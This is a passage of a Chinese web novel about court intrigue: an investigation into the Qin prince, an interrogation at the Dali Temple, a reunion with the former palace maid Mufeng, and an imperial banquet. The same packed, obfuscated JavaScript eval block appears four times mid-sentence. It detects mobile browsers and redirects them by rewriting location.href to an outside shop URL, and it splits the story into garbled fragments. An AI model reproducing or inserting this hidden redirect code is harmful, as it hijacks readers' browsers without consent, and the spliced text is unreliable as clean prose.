“这绝不可能!正月十五桃夭还应州府长史大人之邀在城楼上跳过舞!桃夭性子和善,从不与人交恶。”徐妈争辩道。 正是元宵节城楼上那一舞,桃夭名声大震。那日,州长史李敬儒城楼设宴,宴请的是太子与秦王。 李长史是跟了陛下十几年的老臣。明眼人都知道这是天子意在修补两个儿子之间的关系,顺带打造一番太子亲民的名声。毕竟城楼上的舞蹈人人可看,看的多了,太子的形象也就亲民了。 公主自是不以为然,陆绾也没凑这个热闹。 公主当时道:“东宫太子给百姓看再多的舞,也比不上公主府给寒门一条晋升的路。乐意撒钱随他们,只是别少了我的那份。” 不过,那日慕容昭是在城楼上的。 元宵佳节,华灯初上。慕容昭本想着去庙会偶遇心上人,却被太子喊去吃席。 慕容昭心情不快,但又不好说,只得一个劲地喝闷酒。直到舞女登场,慕容昭险些以为是自己醉酒看花了眼。 但不是就是不是。长得再像也不是。反倒正是因为长得像却不是,慕容昭的心情更糟了。 慕容昭无意看舞,目光只得往坐席上瞟。 房岐在看太子,太子在看房姑娘,房姑娘一心和李长史攀谈;而对座的秦王,正盯着舞女正看得如痴如醉。 一直未发话的程筠突然出声,拉回了慕容昭的思绪。 “徐妈莫要激动,得罪人未必是桃夭的过失。被误会、迁怒也是常有的事。”程筠道,“我正巧还有一事不解。紫霞楼的方老板也会接客吗?” 徐妈摇摇头。 程筠接着道:“慕容少卿与陆典簿今日审方老板时,看见了方老板脖子上的痕迹。” 陆绾道:“我那日去紫霞楼,听徐妈你说楼内亦有小倌。有无可能是小倌留下的?” “不可能,小倌的规矩是不许在女客身上留下痕迹的。”徐妈道。 桃夭忽然道:“我好像听见了。我被关在顶楼的地下秘密隔间。我听见头顶有床板晃动的声音,但时间不长。顶楼是方老板的房间,来的人一定不一般。只是我没想到接客的会是方老板自己。” “你是怎么从隔间出来的?”公主问道。 “是那个客人把我放出来的。他似乎也很意外这里有个隔间,隔间里竟然还有人。他放我出来时方老板不在,我便藏到了徐妈那里。”桃夭道。 “那客人长什么样子?”慕容昭问道。 “很年轻,可能二十岁都没有。很俊,俊得有些妖艳。虽是胡商打扮,但看着就不像商人。”桃夭仔细回忆道,“长脸,下巴很尖,再具体就记不清了。” 不到二十岁的尖下巴长脸俊男,还要身份不一般。慕容昭已隐隐猜到是谁。 陆绾和公主也想到了那个人。 桃夭被暂且留在公主府内。徐妈不可能从紫霞楼凭空消失,慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385975|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容昭在一旁,公主又不好拉来问话试探身份,只得先放回去。 慕容昭独自一人去了一趟王家梨花榭。 正赶上王大人下值,慕容昭暗自好笑。王翀忙道是私交好友,把人拉去了自己的小院。 “还得是鸿志兄大人大量,白日还在公堂摆臭脸,晚上就变知交好友。只是不知王大人对于鸿志兄结交太子近臣有何看法。”慕容昭笑道。 “子明兄,我们家的情况你又不是不知道,好歹给我点面子,不要取笑我了。”王翀无奈道。 “那我便有话直说了。”慕容昭收了那副玩世不恭的笑脸,步步逼近道,“是谁告诉你桃夭长得像陆小姐的?” 王翀后退半步,道:“世子……你这话问的……” 慕容昭背手道:“桃夭虽有名气,近距离见过她容貌的可不多,敢说她长得像陆小姐的,更不多。” “是,是有人跟我说过她。”王翀伸出一只胳膊挡在胸前,斟酌道,“之前父亲给我看过陆绾的画像,我心心念念地以为这就是我未来的妻子,每天梦里都是她。谁知最后竟不是。我想找个像她的全了我的念想,不可以吗?” “没人问你为什么可不可以,我问的是,那个人是谁?”慕容昭挑眉道,“不说的话,我过几日就给王大人下拜帖,聊一聊。” “好吧我说,是秦王。”王翀摆手道,“不过我可要告诉你,我和秦王也不熟的。我爹不可能让我跟他熟。” “什么?你是说……想要那东西的……”话说出一半,王翀忙吞回去,道,“不是公主?” 慕容昭嗤笑道:“要什么,要你十块银艇?” 慕容昭不指望王翀自己承认那到底是什么,也不欲在王家多费口舌,转头向院外走。 王翀三两步冲上前拉住慕容昭的袖子,道:“那秦王要的是我们家梨花院密室的东西,可我真不知道是什么,丢的是密室的钥匙!” “比起密室里的东西,鸿志兄还是先当心自己吧。当心被人卖了还感恩戴德。” 慕容昭拍开王翀的手,径自离去。 “翀儿,来者既是朋友,为何不送?”御史大夫王甫在晚饭席间问道。 “也……也不算什么朋友。他也不喜欢人跟着。”王翀敷衍道。 “你身为王家嫡子,至今未能入仕途;你姐姐本可以送进宫中为妃,却要招寒门赘婿。你可知为父这么做是为何?” 王翀低头不答。他知道父亲又要搬出来家族利益那一套。千百年的世家又如何,他入不了仕,只能当个纨绔。 “古今世家与帝家制衡,都逃不过盛极而衰的命数。”王甫道,“王家今有太后,又身为京城四大望族之一。昔日梨花水榭文臣斗诗更是风光无限。再进一步,就是死路了。” “陆家娘子虽为侯府之女,可侯府没有人了。这是一桩体面又合适的婚事,爹也没料到最后会成不了。这点算是爹对不住你。合适的姑娘日后还会有,爹会给你留意。” “只是,希望你能稍微体谅体谅爹的苦心。那秦王并非纯良之辈,莫要受人蒙骗做了傻事。” 8. 再审 公主府内,公主与陆绾、程筠三人同进晚膳。 陆绾到了饭桌上才知,这位程卿是蜀中人,和陆绾一样爱食辣。 满桌红亮亮的菜肴,公主也不端架子,一边吸着气一边吃。潭州陆氏居于芙蓉城,可陆绾自幼长于华京,仅是爱吃辣,并非不怕辣,吃两口就去喝甜饮。真正不怕辣的是程卿,半盘子辣菜下肚脸都不带红。 一顿不顾形象的晚膳吃下来,三人看彼此都亲切了许多。 程筠道:“从前听说陆娘子办事雷厉风行,还有些害怕。未曾想陆娘子私下如此和善可亲。” 公主兴致正好,又说起和陆绾在宫里的事。 “程卿,你是不知道,明月从小在宫里就是最招人亲近的那个。” 公主本名熊焕,五岁拜入玄贞道长门下,父母双亡后就一直借着修道的名头躲在灵虚观。直到十岁那年,太后逼着天子给熊焕封了明华公主,才又接回宫内。 那时太后身边还有个五岁的小姑娘,生的眉目如画,神情乖巧,明华一看就喜欢。 事实上没有人会不喜欢陆绾。太子和她比起来不够养眼,秦王性情不够随和,伴读的慕容昭只在听学时来,又太过顽皮。相比之下,陆绾就是太后和一众嬷嬷心中的完美孩子。 陆绾记得,那时候的公主还没长开,锋利的五官几乎要把整张脸都占满,看着还有些显凶。但是这个姐姐笑得很开心,凭陆绾的直觉嗅不出一丝恶意。 公主笑眯眯道:“我叫熊焕,也可以叫我明华。你就是陆绾吧?有没有小字?” 陆绾摇摇头。 “妹妹生的真是霞姿月韵!我叫明华,你不如就叫明月吧!今后我们就是义姐妹。”公主开朗道。 公主此后一直唤她明月。 太后虽关怀她们,到底是隔了一辈。在宫中,公主与陆绾同样失怙失恃,又同为女儿,自然成了彼此最亲的人。 公主张扬高傲、性情难以捉摸,又极为嗜好练武,就连天子都有几分忌惮这个侄女。陆绾乍一看更为随和,但也是个有主意的,又不喜与人争辩,内里多了分冷淡。两人一同长大,性情互补,最懂彼此。 程筠感叹道:“公主殿下与陆娘子的情谊真真可贵!说起来,今日我见慕容世子,对陆娘子也是一番情深意重的模样,只可惜是太子的人。” 说着,程筠不好意思地理理前襟,笑了。 “看来陆娘子当真是人人见了都喜欢。” 陆绾平静道:“倒也不至于,我和慕容昭之前并不相熟。慕容家重情义,行事颇为坦荡。无论世子是哪一方的人,都做不出太过分的事情。” 公主不喜道:“男女间的情意谁又能做担保?明月有她自己的考量,程卿操这份心是大可不必。” 程筠忙道:“是我多言,公主恕罪。” 公主摆摆手,肃然说起正事:“说起来,我这个小堂弟想要嫁祸于我,我不坐实岂不要冤死。正好我也很好奇,一个荷包里到底能藏什么东西。” “秦王此举,或许是想要抓住太子一党的把柄,伪装为公主和太子两党之间的争斗,最后坐收渔翁之利。”陆绾分析道,“不过,为何惊动了林大人?他一向对这些权力交接不感兴趣才对。” “那便是有损于江山社稷的把柄。轻则贪污银两,重——”程筠接话接到一半,停顿道。 这重,就有很多种可能了。 程筠见明华公主与陆绾皆能会意,继续道,“那荷包很小,是王公子贴身携带之物。我猜那东西是钥匙之类的物什。而真正的证据,需要通过那把钥匙拿到。” 公主沉思道:“我那太子弟弟,虽说脑子糊涂了些,但总的来讲也算识大体。况且,若真是太子一党的把柄,林大人何故找上燕王世子?” 三人皆陷入沉默。 半晌,陆绾似有所悟,道:“如若是秦王自己那边的把柄,那便说的通了。” “当今熊氏的三个小辈,公主美名远扬,太子稳居东宫。秦王与太子皆为殷皇后所出,按理应尽力扶持亲哥,日后自是享不尽荣华富贵。可我总感觉,秦王这个人,似乎从小便不甘居于人下。 “而朝中愿意支持秦王的,应寥寥无几。昔日太子妃大选,皇后中意殷娘子,太后中意王娘子。可太子执意要娶房太傅之女,二者都未能如愿。如今王娘子已招赘,殷娘子的婚事仍没有着落。 “若秦王有意迎娶殷娘子,能得到大将军殷其雷的助力便不足为奇。” 陆绾说完这一长串,眼睛亮亮地望向公主。 公主点头道:“殷其雷此人,向来贪心太过。却有可能犯下不得了的错处还被人捉到把柄。” 陆绾又道:“既是如此,还恳请公主殿下暂且莫要出手,梨花榭最近也莫要去了。我们和太子刚缓和了关系,不好这么快出手去查他亲舅,秦王的“这口黑锅更没必要上赶着去接。正好我们也得抽空去探探徐妈的来路。” 程筠也点头。 公主道:“也好。不过此事尚未完全定论。百花宴开宴前,会设一道宫宴。程卿,这次你随我一道去,探一探殷将军。” 第二日,公主乘着凤架马车去紫霞楼“寻面首”,而慕容昭又把方老板提上了大理寺。 大理寺卿杜肃正好得闲,听慕容昭讲明了始末,道:“此人油滑狡诈,不如由老夫来审。” 慕容昭不喜华京杜氏,更不喜自己结案临门一脚被人截胡。他是燕王世子,又是太子伴读,杜肃向来给他面子也行方便,插手他的案件还是第一次。 杜肃解释道:“小女仰慕秦王姿容,是老夫帮忙为她牵的线。虽说婚事被拒,老夫总得亲自看看这个秦王是否真是这等流连烟花柳巷的轻浮之辈。” 慕容昭不好再说什么,坐到堂下学习旁听。 “慕容少卿审不来,今儿又换了个杜寺卿审。不过是虚长些年岁,又有什么了不起。”方老板啐道。 杜肃喝道:“说,你是怎么勾搭上的秦王殿下?” “哦,原来是秦王殿下。我当是谁,长得人模狗样,来我的地盘摆这么大的谱,非要点我。” 慕容昭皱眉。依桃夭所言,秦王是乔装后见的方老板,应是直接被领进了阁楼。两人不说之前碰过头,至少也是认识的。 杜肃继续厉声问道:“你容色平平,年过三十。秦王点你作甚?” “知道知道,整个华京就杜大人的姑娘是绝色,可惜人家殿下不喜欢。说不定啊,过个十几年,年纪过了三十,殿下就喜欢了。” 杜寺卿老脸涨得通红,将桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385976|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面重重一拍。杜氏全族尚武,杜肃掌力更是骇人,拍得镇纸都跳了跳。慕容昭都疑心那案面已经被拍出了一道裂痕。 “打!” 方老板冷哼一声,甩开两个伸手拽她的捕快,大步往外走。 “什么时候愿意招了什么时候喊我。”杜寺卿甩袖离去。 “慢着!”慕容昭起身道,“我有话要问。” 两捕快一左一右又把方老板架住拖回堂中。 方老板眯起眼睛,偏头笑道:“怎么?世子爷要做这怜香惜玉的多情公子?” 慕容昭从袖中摸出早已备好的金丝佩,道:“这是秦王的佩,你应该认得。他已不打算保你,你身上有一整座紫霞楼,从这里出去就是富贵无边。不再好好想想吗?” 方老板被这金丝佩晃得一愣。正欲接来细看,那金佩却被慕容昭抛起又稳稳握在掌心。 “疑心我作假?”慕容昭笑道,“那倒不必,方老板仔细看看。” 说罢,慕容昭摊开掌心,递到方老板跟前。 那金佩已掉了个面,只露出背面的宫纹。 慕容昭其实也有几分没底。因为这佩压根就不是秦王的,是找太子要的。两者背面同为宫纹,正面的纹路和名字却不一样。 方老板只在秦王的脱下的衣物间见过那金佩一次,眼下见这枚金佩材质做工皆不似仿品,宫纹也一致,不禁深吸口气,道:“好,我说。” 慕容昭收回金佩,转身坐上主位。 “我说,但事后慕容少卿须放我离开。” 慕容昭道:“明面上我不能放你离开,具体怎么做看你的本事。” 这便是说,方老板可以卷着紫霞楼的钱财跑路出城,如何躲过官兵靠她自己的人脉本事。风波过后,兴许还可回京。 方老板跪下道:“谢少卿开恩!” 早在正月末,秦王在华京城楼上见过桃夭的伞舞后,就来找过方老板。 那日秦王来紫霞楼,只是召桃夭来看了一眼,连伞舞都没要跳,便喊着要见管事的。紫霞楼出入的权贵不在少数,方老板也不是谁都见的,一开始自然不以为意。 罗妈催得急了,方老板这才把人接上阁楼。 “他俊得满城皆知,本来我还不以为意,那日见了才知道是真的俊。”方老板道,“就算他什么都不买,我也是乐意亲自‘接待’他的,更何况他是来谈生意。” “他与你谈的是何生意?” “他要我把桃夭包给王家公子,从王家公子身上拿到一枚钥匙,交给他。”方老板越说越气,“我又不稀罕他的钱,只稀罕他的身子。谁知道睡一下招来这么多事!他把我供出来,我日后必要他好看!” 一旁的小吏记得飞快,记完了抬头望向慕容昭。 慕容昭道:“你还有什么要说的吗?” 方老板正摇头,又忽然道:“哦,还有的。看在你愿意帮我的份上,我告诉你。” 慕容昭给小吏打了个手势。 “秦王惦记你家娘子。我告诉他,我教他他床笫之术,好博陆家娘子欢心。” 慕容昭脸色一黑,整个人拢上一层阴沉的气息。 小吏正提笔,却听慕容昭冷声道:“这个不用记了,去摁手印,摁完了带下去。” 9. 沐风 公主虽乘了自己府上的马车,却乔装成了女胡商。陆绾则换上了件鱼师青的胡服,腰上别了一根皮鞭,扮作女护卫。 消息灵通点的便会知道,公主确实有在紫霞楼寻面首;而若是天子或者太后问起来,公主还可打死不认。 一进正厅,一位嬷嬷便堆上笑脸道:“贵人,听曲、办席还是……?” 公主将一块金艇往台子上一拍,沉着声音道:“寻面首,容貌齐整些的、杀过药的、未接过客的都喊过来,我仔细挑。” 公主从前没扮过富商,想亲自干点什么往往就端着明华公主的威仪直接去了。这架势摆得过于夸张,陆绾强忍住胸膛里窜上来的那股想笑的冲动,绷直了脸扮高深莫测的冷面护卫。 嬷嬷将那金艇拢入袖中,笑颜越发谄媚,上前一步引路道:“是,是。贵人这边请。” 两人跟着上了三楼的一处包间。未过多时,嬷嬷领进来一队白面小生。十个小生样貌各有千秋,放眼望去都不超过二十岁。 陆绾多少听过,服务女客的小倌都要从十岁开始“杀药”,才能保证女客不怀孕。也因这药的缘故,小倌要想练出肌肉格外困难,越壮的价越贵。 这十位小倌,全都裹得严严实实,想必是没练过肌肉——若是有,早就想着法子露出来给人看了。 陆绾觉着自己这护卫扮得也有些多余。公主一脚过去就能踹翻一个,就算十个一起上也不成问题。 嬷嬷挨个拉上来热情地介绍,似乎有说不完的话。但她其实每个人都记不太清,不是错了名字就是错了年龄或者籍贯。胆大的小倌直接插嘴接话,怕生的小声提示。 第四个小倌被拉上前时,陆绾打断道:“嬷嬷,你这样啰嗦,怕是介绍完了我家主子都没时间上手了。” 嬷嬷赔笑道:“哎哟哟,是老奴考虑不周。” 公主挥手道:“你下去,我不喜欢有旁人在场。有事自会让人喊你。” 嬷嬷转身对这群小倌眼神警告了一番,这才依依不舍地退下。 胆大的一位小倌上前挽住公主的胳膊,乖顺地将身子贴在公主怀内。 公主摁着人摸了摸背,柔声道:“你叫什么名字?” 小倌仰着脸乖巧道:“我叫如意。” 陆绾暗暗惊奇于公主入戏之快,又别过脸不愿看这狎昵场面。 公主又道:“管你们嬷嬷不是刚才这位,是谁?” “回贵人,是徐妈。”如意见公主搭话,胆子更大了些,接着道,“刚刚那位是罗妈,跟我们嬷嬷不对付,连带着不喜欢我们。贵人可得疼我们,不然我们要挨罚的。” 公主又把每个人都拉到怀里问了一番,再回头时,发觉陆绾已远远坐到窗边饮茶。 公主道:“你们都是好模样,管你们的嬷嬷是徐妈对吧,喊她过来。你们今日可以歇歇,我单独和你们嬷嬷谈谈,好接几个回我府上。” 如意最积极,踩着小碎步去了。 不一会儿,如意引着徐妈进来,十个小生都散了。 徐妈含着泪光跪下,道:“公主殿下,您终于来了!可还记得老奴?” 陆绾这才从座位上起来,回到公主身边,捏着手中的皮鞭道:“您第一次见我便知我是公主府的人,只是不知徐妈您,又是何来历?暗示我,又有何目的?” “小郡主不爱吃叶子菜,一吃就呕,非要剁碎了拌在肉馅里才肯吃;不喜欢呆在东宫,整天往王皇后的寝殿跑,缠着奶奶要糖吃;郡主右脚拇指根部有一块指甲盖大的胎记,哭着闹着要想办法去掉……” 徐妈的声音一下子苍老了许多,越说越沙哑,仿佛陷入了过去的回忆。 公主也听得眼眶湿润,哑声道:“您是沐风,对么?” 二十年过去,公主对沐风的记忆早已模糊,只记得母亲身边有过这么一位侍女,待她很尽心尽力,极为细心。更具体的只剩下零碎的画面,随着时光的流逝也逐渐模糊淡去。 徐妈点头。 “既然有关注我的动向,为什么……为什么不早点来找我呢?”公主道。 沐风叹道:“我是本来就该消失在华京的人。只因我父母又把我卖入紫霞楼,才不得已留下。贸然跳出,只恐引来杀身之祸。 “方老板看着对我不客气,实际上护了我许多。她护我的原因很简单——或许也算不上善良,她看得出我的来历不寻常。我没有接过客,进来就是嬷嬷,手下管的都是小倌,面对的也都是女客。 “不过桃夭除外……她是被我侄子卖进来的,一看就是良民。我才把她要到自己手下。” 陆绾道:“您若不想暴露身份,为何要冒着风险暗示我?” 沐风道:“从前是不想,可如今想了。是从方老板告诉我,公主殿下也许意在皇位之时。若老奴能站出来,捅出当年东宫之难,或许还能助小殿下一臂之力。老奴虽无物证,却是活生生的人证,多少有点用处。” 陆绾问道:“可是方老板见过秦王之后?具体又是何时?” “不久前,一个月内的事。” 陆绾又道:“你的下落消息也是方老板去放的,对吗?” 沐风点头,说起当年东宫一案的疑点。 “太子和太子妃的膳食都是我亲自去厨房端的。呈上饭食后,太子妃一般会将那一桌菜食赏我一道。可那一日,我刚拿走被赏的八公山豆腐,在走廊上就被人撞倒了,那豆腐自然也在地上摔成了烂泥,没能吃上。” “您是怀疑,有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385977|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那顿饭菜里下了毒?”公主道,“撞你的人是谁,可还记得?” “不熟悉,只知道有人叫她阿倩,印象里不是厨房的就是御膳房的。”沐风道。 公主沉思良久,道:“沐风,见到您我很高兴,我也确实需要您,但您的身份此刻仍不能暴露。等我拿到更多证据,定会接您出来。在此之前,还请您多加小心,在这紫霞楼委屈一阵子了。” 公主临走还不忘赎了三个小倌带走做做样子。如意最活泼热络,郎归最温柔体贴,俊才最擅长音律。三人喜形于色地登上了前往公主府的马车。 第二日,陆绾用完早食,正在庭院内赏新开的月季花,不知不觉间竟漫步至公主卧房后门。 明华公主似是刚洗漱完毕,打了个哈欠从后门出来透气,睁开眼睛便看见呆愣在原地的陆绾,道:“明月?早啊!” 公主眉眼间罕见地多了几分旖旎的丽色,面颊如院中团团簇簇扎人手指的红粉骨朵。 陆绾顿时红了脸。 “你怎么了,竟然不理我?”公主叉腰佯怒道。 “你……你不会真的——” “噗!”公主看着陆绾通红的脸颊,笑道,“怎么?你都要成婚了,这事也要羞一羞?技术到位还不留痕迹,这银子花的可真值。我知道你面皮薄不好意思在紫霞楼开口,要不要偷偷分你一个?或者帮你再买一个也成,喜欢谁告诉我。” 陆绾吓得后退一步道:“我!不!要!” “诶诶,开个玩笑嘛~”公主忙把人拉回来,“不过,真的不要吗?等成了婚,再想要这个可就麻烦了。” “真的不用,这些我都不喜欢。” “那你喜欢什么样的?” 陆绾眼睛一闭,道:“壮的。” 这话倒是不假。陆绾小时跟着公主练剑,可由于体内带毒,练到后面对身体并无裨益——轻则吐血昏迷,重则毒发。玄贞勒令她不许再往下练,也因此拒绝收她为徒。 她一直都很羡慕能练武之人的肌肉。 公主噗嗤笑了,放开陆绾认真道:“好了不逗你了。说真的,你不会怪我吧?比如什么沉迷男色不思进取之类的?” 陆绾缓回来了一些,也认真小声道:“现在当然是不算的,才一天而已。我相信姐姐也不是那种人。这些都是小事,只要你开心就好。” 公主道:“你要是实在不喜欢这几个,我把他们下放到手头的铺子里去干活也是成的,总不能因为这个姐妹生分了。” 陆绾道:“那倒不用,他们能让姐姐开心,留着又有何不可?” 公主拍了拍陆绾的肩,道:“就知道你最好了。不过,我没功夫陪你赏花了,中午还有一道宫宴,我得去收拾收拾。宫宴上见。” 10. 宫宴 百花宴前的宫宴,是天子犒劳重臣的家宴。陆绾算是宫中养女,又是侯府嫡女,现在还多了一层燕王世子未婚妻的身份,肯定是推不掉的。 大楚讲究吃食,宫宴上的菜肴更是品相与口味俱佳。皇宫内有一条连接花池的小渠,名唤“花溪”。众人沿溪而坐,菜品就由侍从在上游放下,顺着溪流稳稳当当地飘到每个人面前,喜欢哪一道就唤身旁的侍从去拦了端来。 轻柔空灵的乐声穿过清风笼罩在溪流之上。奏乐者隐于层层假石与梧桐树后,乐声明丽却并不喧宾夺主。若要听得分明,还需屏息凝神。 天子开席拦了一道羊肉羹,推到殷皇后面前,便等下游的臣子们先拦,等到每人案上都至少有一道菜品后才正式动筷。 有宾客奉承道:“圣上真是礼贤下士,得明君如此,我大楚之幸也。” 天子举杯道:“百花宴在即,朕当与众爱卿同乐。” 走完了开场流程,众人的注意力便转移到席间的菜肴上。 陆绾刚尝了一筷子荷塘小炒,冷不丁被辣得呛了一下。这菜看着没放辣,细细一看,这辣椒是剁碎了和茭白、菱角、藕带炒在一起。 陆绾和公主在宴席上一般不吃辣,毕竟辣菜吃了上脸总不太好看。 “陆娘子,这盘是辣的,不如——”陆绾旁边的程筠提醒的话还未说完,陆绾就已经用袖子捂着脸弯腰呛了个够。 公主也连忙放下碗筷,给陆绾拍起了背。 那菜已经被夹了一筷子,程筠有心把它挪到自己案上,又觉得不大合适了,伸出去的手便僵在了半空中。 对座的慕容昭见陆绾压着咳嗽不太好受,伸手捞过余阳手里的竹竿,将一碟刚从他们面前飘过的桃花酥酪轻轻一挑。 粉色酥酪乘着青瓷碟在花溪中打了个旋,逆着水流向陆绾奔去。 丹砂忙把那酥酪捞起来递上。 天子打趣道:“还得是昭儿,哄心上人的招数也这么体贴雅致。” 天子又道:“昭儿和绾儿如今是订了婚的人,为何不把坐席排在同一处?房岐,还不快和绾儿换换?” 房岐是太傅养子。房家并非世家,出了房海这么一个寒门儒士,这才有些起色。 虽是天子发话,可换完座他就到了公主旁边。妹妹房鸢坐在皇后身侧,并不正眼看他;太子一副事不关己的模样,公主则是脸臭得吓人。房岐一向谨小慎微,一时竟不知该不该动。 慕容昭起身道:“谢陛下美意!不过依臣之见,这席座不必劳烦更换了。方才若是臣与陆娘子同席而坐,反倒没有这么方便。” 说罢,慕容昭朝对座举了举杯。 慕容昭一席雀蓝长袍,袖口几簇白孔雀尾羽绣纹随着衣袖舞动,肆意张扬。 席间众人笑道:“还得是世子,真是年轻风流。” 谈笑间,宾客们一个个望向公主身侧的陆绾。 陆绾平日常出门走动,来赴宴的人多少是对她面熟的。但陆小姐盛装的样子可不多见。 陆绾吃了酥酪,已经缓过来许多,只是脸上还残留着方才咳嗽时的红晕。 一身苏梅色袒胸襦裙,臂挽天青色丝质披帛。衣裙上繁复的绣线团成一朵又一朵盛放的白芍药花,正是应了那句“自是风流时世妆”。(1) 陆绾迎着众人打量的目光,笑意浅淡,举杯回应,将杯中酒一饮而尽。 天子笑道:“看来朕这婚赐的还合心意。绾儿和昭儿真真是谢女檀郎!” 席间氛围这才热络起来。 陆绾又招呼身后的丹砂拦了一碟山楂水晶糕、一碟珍珠糯米丸。两碟小菜一白一红摆上案,只听身旁的公主道:“你这碟山楂消食开胃,分我一点。” 陆绾倾身将那碟山楂水晶糕递到公主面前,顺势在她耳边小声道:“明华,你看殷小娘子坐在秦王那边。” 公主闻言顺着陆绾所指的方向瞥了一眼。 殷小娘子是殷其雷之女殷婵,也是殷皇后的侄女。她没有与父亲同席,而是坐到了秦王身边。 “看样子,殷将军是有意将自家女儿嫁与秦王了。”公主道,“秦王能准许她坐在自己旁边,多半也是有这个意思。” 殷婵性子活泼,一直在跟秦王说话。秦王拉着张长脸,态度不冷不热。 有宾客调侃道:“是说秦王殿下怎么拒了杜家的婚约,原来是早有心上人。” 秦王放下玉筷,道:“确实是有心上人。” 陆绾另一侧的程筠幽幽道:“陆小姐,秦王殿下说这话的时候,看的好像是你啊。” 陆绾吓得手腕一颤,闻声转头看向程筠。 一块水晶糕点掉在盘外。 程筠失笑道:“陆小姐不该看我,该抬头看慕容世子才对。” 陆绾皱眉,没接他的话,匆忙扫了一眼对面的慕容昭,又移开目光。 秦王从小性格就有些阴鸷。陆绾能察觉到从前在宫中时秦王殿下总是有意无意地接近她,却总不挑明,让她也找不着拒绝的机会,只能小心避开。 “熊熠这又是何必?按照他的性子,他就算不喜欢殷小娘子,最后也会娶回去。闹这么一番,只白白惹得殷婵心里刺挠。”公主道。 殷将军也明白这个道理,见女儿神色间并无异样,也打个哈哈继续和旁边的副将喝酒。 殷皇后在和太子妃房鸢闲聊,根本都没注意到这个小儿子说了什么。 秦王的这一眼,愣是没惹起任何风波。 “城里都传太子妃与太子青梅竹马,恩爱非常。可为何他二人不同席?”程筠奇怪道。 “原本就是熊煜自己执意要娶房鸢,去哪又要硬拉上太子妃,才有了这个谣传。”公主道,“房鸢不喜太子,去孝敬皇后也算是个路子。” 房鸢样貌英气,性子里也没有那些闺阁女子的娇柔,嫁了人后对谁都是一副爱答不理的样子。可她今日却像是要刻意避开不去看什么,举止中带着一丝僵硬。 殷皇后对房鸢倒是十分和蔼,仿佛比亲女儿还亲,全然不见那副跋扈蛮横的做派。 陆绾望着皇后身边的房鸢若有所思,道:“你们觉不觉得……太子妃今日有些不太对劲?像是刻意不去看太子那边的席位。” 而太子席上,今日一直时不时望向她的,不是太子,而是房岐。 房岐与房鸢都是太傅亲手带大的,性格却大相径庭。房岐一向谨小慎微,在太子身边存在感也不强。 但也并未听说太子妃与兄长之间有过什么矛盾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385978|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆绾不禁又望向慕容昭。慕容昭时不时就去东宫做客,太子几乎什么都和他说。这些事情,他应该是知道的。 对座慕容昭神色严肃,对她微不可查地摇摇头,又去应对太子的闲聊。 陆绾有一瞬莫名的失落,毕竟慕容昭确实也无道理向她透露东宫内的太子家事。 好在公主对堂弟妹的私事并无太大好奇心,这个话题没有持续多久。程筠不算健谈,但也没有让任何话头落地。一场宴席下来还算是顺畅舒心。 散席后,陆绾还没出御花园,就见着了慕容昭的侍卫余阳。 “世子想邀您同游御花园,正在梧桐居前的假山前相候。”余阳道。 梧桐居离太后的寝殿很近,是陆绾和公主在宫中时居住的寝殿。自五年前公主搬进城西的府邸后,陆绾也跟着住进了公主府。梧桐居便一直空置。 陆绾点头,示意丹砂跟上,又听余阳道:“世子要单独见陆小姐,还请丹砂姑娘随我来。” 陆绾道:“那想必是有要事了。丹砂,你就先跟余阳去吧。不必担心我,我自有分寸。” 左右梧桐居是她生活了十几年的地方,若要在梧桐居对她不利,可不是什么容易的差事。再者梧桐居与太后的太极殿比邻,料慕容昭也不敢闹出什么动静惊扰太后。 春日梧桐飘絮,可梧桐居的石子路一尘不染。宫墙上垂下的迎春刚谢,清扫的人留下了地面上一层明丽的花瓣。梧桐居还是陆绾记忆里的模样,仿佛住在里面的人不曾离开。 假山前,慕容昭垂首而立,眉宇间竟是一派愁苦。 陆绾温声道:“不知世子找我有何事?” 慕容昭没有答话,只伸手示意陆绾同行。两人始终隔着一臂的距离,沿着石子路一直绕到了御花园西南侧。 陆绾也不心急,不紧不慢地跟着慕容昭的步伐。 